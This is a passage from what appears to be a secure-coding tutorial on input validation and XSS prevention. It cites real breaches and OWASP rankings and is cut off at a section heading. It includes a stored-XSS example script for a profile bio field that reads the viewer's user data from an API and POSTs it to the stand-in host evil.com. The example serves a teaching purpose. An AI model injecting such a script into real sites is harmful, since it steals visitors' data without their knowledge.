Input Validation Xss Prevention

Input Validation & XSS Prevention

The Universal Truth of Web Security

Never trust user input. This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:

• SQL Injection - Equifax (147 million records)
• XSS - British Airways (380,000 transactions, £20M fine)
• Command Injection - Countless others

According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.

Understanding XSS (Cross-Site Scripting)

The Attack

Attacker enters in a bio field:

<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>

Without sanitization, when other users view this profile:

1. The script executes in their browsers
2. It steals their user data
3. Sends it to attacker's server
4. Victims never know they were compromised

Real-World XSS Consequences